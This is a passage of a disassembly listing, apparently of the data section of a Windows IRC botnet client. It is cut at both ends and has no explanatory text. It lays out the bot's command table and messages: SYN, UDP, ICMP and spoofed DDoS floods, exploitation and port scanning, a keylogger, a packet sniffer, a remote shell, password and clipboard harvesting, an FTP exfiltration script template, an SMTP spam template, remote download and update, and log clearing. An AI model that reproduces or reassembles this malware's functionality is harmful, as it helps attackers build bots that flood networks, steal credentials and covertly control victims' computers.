dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_436E08 db 2 ; DATA XREF: sub_40EE72+36B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_436E54 db 2 ; DATA XREF: sub_40EE72+3622o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_436EA0 db 2 ; DATA XREF: sub_40EE72+35B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Fo align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3432o align 4 dword_436F0C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A4o ; sub_40EE72+43F1o unk_436F18 db 2 ; DATA XREF: sub_40EE72+3342o ; sub_40EE72+5179o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_436F60 db 2 ; DATA XREF: sub_40EE72+32D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A8o ; sub_40EE72+50DDo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+32A1o ; sub_40EE72+50D6o align 4 unk_436FE4 db 2 ; DATA XREF: sub_40EE72+3163o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_437028 db 2 ; DATA XREF: sub_40EE72+301Ao ; sub_40EE72+4F21o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_437074 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_4370BC dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o align 4 unk_43712C db 2 ; DATA XREF: sub_40EE72+2E8Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_437174 db 2 ; DATA XREF: sub_40EE72+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_4371CC dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411BF4o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_437214 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43725C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 10h aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o dword_4372B0 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_4372E8 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4119D3o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_437324 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o align 4 dword_43739C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do align 4 unk_4373F4 db 3 ; DATA XREF: sub_40EE72+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EE72+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o align 10h aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o align 4 aP: ; DATA XREF: sub_40EE72+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo align 4 aU: ; DATA XREF: sub_40EE72+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o align 10h aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co align 10h aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo align 4 aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o align 10h aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o align 4 aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o align 10h aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo align 4 aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o align 4 aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o align 10h aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o align 10h aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do align 4 aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo align 10h aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o align 10h aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o align 10h aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o align 4 aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo align 10h aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o align 4 aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o align 10h aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo align 4 aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o dword_43773C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C9o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_437768 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C2o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_437798 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411077o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_4377C4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao align 4 dword_4377FC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410FF1o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_43782C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo align 4 aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo align 4 aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o align 4 dword_43787C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410F1Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_4378AC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 10h dword_4378E0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o unk_437930 db 2 ; DATA XREF: sub_40EE72+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_43797C db 2 ; DATA XREF: sub_40EE72+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_4379AC db 2 ; DATA XREF: sub_40EE72+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4379DC db 2 ; DATA XREF: sub_40EE72:loc_410D33o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_437A18 db 2 ; DATA XREF: sub_40EE72+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do align 10h unk_437A70 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_437AA8 db 2 ; DATA XREF: sub_40EE72+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 10h aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o ; sub_40EE72+1E94o unk_437AF4 db 2 ; DATA XREF: sub_40EE72+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h unk_437B40 db 2 ; DATA XREF: sub_40EE72+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_437B80 db 2 ; DATA XREF: sub_40EE72+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o ; sub_40EE72+1E72o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o align 4 aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo align 4 aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o ; sub_40EE72+1C9Do align 10h aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o align 4 aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo align 10h aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o align 4 aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o align 4 aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo align 10h aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do align 10h aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o align 10h aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o align 4 aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o align 4 aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo align 4 aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo align 10h aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o align 4 aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o align 10h aSad db 'sad',0 ; DATA XREF: sub_40EE72+1952o aAsc db 'asc',0 ; DATA XREF: sub_40EE72+193Do ; sub_40EE72+27E3o aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o align 10h aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o align 10h aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo align 10h aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o align 10h aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o align 10h aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo align 10h aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o align 10h aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo align 10h aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o align 10h aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo dword_437E4C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao align 4 aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o align 4 aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o align 4 aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o align 4 aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o align 4 aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co align 10h aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo align 4 aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o unk_437F78 db 2 ; DATA XREF: sub_40EE72+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_437FC4 db 2 ; DATA XREF: sub_40EE72+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o align 4 aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo align 4 aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o align 4 aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o align 4 dword_438084 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_4380B8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o align 10h aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao align 10h aIrc_s db 'irc.s',0 ; DATA XREF: 